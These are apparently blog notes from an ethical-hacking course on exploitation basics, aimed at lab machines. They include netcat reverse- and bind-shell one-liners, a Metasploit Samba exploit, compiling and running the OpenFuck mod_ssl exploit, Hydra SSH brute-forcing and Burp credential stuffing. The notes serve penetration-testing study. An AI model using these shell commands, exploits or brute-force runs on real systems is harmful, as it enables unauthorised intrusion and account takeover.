> For the complete documentation index, see [llms.txt](https://blog.syselement.com/tcm/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.syselement.com/tcm/courses/peh/3-eth-hack/exploit.md). # Exploitation Basics ## Reverse shell vs Bind shell ### netcat ➡️ [netcat](https://netcat.sourceforge.net/) **Reverse shell** - the victim/target connects back to the attacker * Attack machine - **listening** on a port * Target machine - connect to the attacker machine listening port ![Netcat Reverse Shell - hackingtutorials.org](https://1178537843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2KUxfxUFmy000PDT7MtM%2Fuploads%2Fgit-blob-a95a78cebf04646d66bcbc59ce8e4b1c1f394752%2FNetcat-reverse-shell.jpg?alt=media) ```bash # Attacker nc -nvlp 4444 # Target nc 192.168.31.131 4444 -e /bin/bash ``` ![Reverse shell](https://1178537843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2KUxfxUFmy000PDT7MtM%2Fuploads%2Fgit-blob-38ef386171f42761b41a6713bb62c66675c226d0%2F2024-07-11_20-40-27_596.png?alt=media) **Bind shell** - the attacker opens a port on the target (via exploitation) and connects to it * Attack machine - exploits target and opens port listening on target and connects to it * Target machine - listens for the attacker connection ![Netcat Bind Shell - hackingtutorials.org](https://1178537843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2KUxfxUFmy000PDT7MtM%2Fuploads%2Fgit-blob-4d046398e982c51a795a3dd85437da9fd5e7895d%2FNetcat-bind-shell.jpg?alt=media) * Specially used on external assessment ```bash # Target nc -nvlp 4444 -e /bin/bash # Attacker nc 192.168.31.131 4444 ``` ![Bind shell](https://1178537843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2KUxfxUFmy000PDT7MtM%2Fuploads%2Fgit-blob-9f7a6b736a9bb8aef351bc6fac5baa77eec5e37c%2F2024-07-11_20-41-43_597.png?alt=media) *** ## Staged vs Non-Staged payloads **Non-Staged payload** - sends exploit shellcode all at once, larger in size and won't always work * Metasploit e.g. `payload/windows/meterpreter_reverse_tcp` **Staged payload** - sends payload in stages, less stable * Metasploit e.g. `payload/windows/meterpreter/reverse_tcp` *** ## Metasploit (SMB attack) ```bash searchsploit samba 2.2 ``` ![searchsploit samba 2.2](https://1178537843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2KUxfxUFmy000PDT7MtM%2Fuploads%2Fgit-blob-e40bb5c5498dac2d29664e7e19daf4b3d8a8b983%2F2024-07-13_09-03-53_601.png?alt=media) ```bash # Run Metasploit msfconsole search trans2open use exploit/linux/samba/trans2open options set RHOSTS 192.168.31.130 show targets run ``` * This does not work, since it is using the `linux/x86/meterpreter/reverse_tcp` staged payload. * Try with another payload ```bash set payload linux/x86/shell_reverse_tcp run ``` ![root on Kioptrix VM](https://1178537843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2KUxfxUFmy000PDT7MtM%2Fuploads%2Fgit-blob-b35c75a8317b9cc4dbc467a70cc6eaa774ce81ba%2F2024-07-13_09-10-10_602.png?alt=media) * Gained reverse shell via Metasploit *** ## Manual exploitation Use [OpenLuck](https://github.com/heltonWernik/OpenLuck) to exploit [CVE-2002-0082](https://nvd.nist.gov/vuln/detail/CVE-2002-0082) - [Apache mod\_ssl < 2.8.7 OpenSSL - Remote Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2002-0082) * Follow usage instruction to compile the exploit and run it against the target machine ```bash git clone https://github.com/heltonWernik/OpenFuck.git sudo apt-get install libssl-dev gcc -o OpenFuck OpenFuck.c -lcrypto ./OpenFuck # check an offset for Apache 1.3.20 # ./OpenFuck target box [port] [-c N] ``` ```bash ./OpenFuck 0x6b 192.168.31.130 -c 40 ``` ![](https://1178537843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2KUxfxUFmy000PDT7MtM%2Fuploads%2Fgit-blob-5d4d65b138d7d254d99277f030c5ac5094333396%2F2024-07-13_09-24-35_603.png?alt=media) *** ## Brute force attacks * Brute-force attack `SSH` with weak/default credentials ### hydra ➡️ [hydra](https://github.com/vanhauser-thc/thc-hydra) ```bash hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.31.130 -t 4 -V ``` * Use the same with Metasploit ```bash msfconsole search ssh_login use auxiliary/scanner/ssh/ssh_login set RHOSTS 192.168.31.130 set USERNAME root set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt PASS_FILE => /usr/share/wordlists/metasploit/unix_passwords.txt set THREADS 10 set VERBOSE true run ``` *** ## Credential stuffing and Password spraying [**Credential stuffing**](https://owasp.org/www-community/attacks/Credential_stuffing) - injecting breached account credentials (leaks, etc) in hopes of account takeover [**Password spraying**](https://owasp.org/www-community/attacks/Password_Spraying_Attack) - brute forcing logins based on a list of usernames with default passwords ```bash ls -lah /usr/share/seclists/Passwords/Leaked-Databases/ ``` * Setup FoxyProxy in the browser and start BurpSuite. * Use local vulnerable webapp like [dvwa](https://nvd.nist.gov/vuln/detail/CVE-2002-0082) ```bash sudo apt install dvwa dvwa-start ``` * Open the login page - **BurpSuite** * Turn intercept ON and send the login request to intruder * Highlight the username and password values, and add them to the payload positions * Attack type - `Pitchfork` ![](https://1178537843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2KUxfxUFmy000PDT7MtM%2Fuploads%2Fgit-blob-1195a94a089ffa97b333010fbf77b8e9f58d2f90%2F2024-07-13_09-53-02_604.png?alt=media) * **Payloads** * for each payload set, paste the usernames list and password * Start the attack * check the response for Status change and Length ![](https://1178537843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2KUxfxUFmy000PDT7MtM%2Fuploads%2Fgit-blob-8668fe9a7054530cc4b74c3407bb3c7e8f2a04f3%2F2024-07-13_10-10-23_605.png?alt=media) ![](https://1178537843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2KUxfxUFmy000PDT7MtM%2Fuploads%2Fgit-blob-34b1dbad43840ce4cd82d314f058e02c630951d8%2F2024-07-13_10-10-38_606.png?alt=media) ![](https://1178537843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2KUxfxUFmy000PDT7MtM%2Fuploads%2Fgit-blob-db1181cdaa36bf3ea64ea60fbc7484347d69a543%2F2024-07-13_10-20-20_607.png?alt=media) ***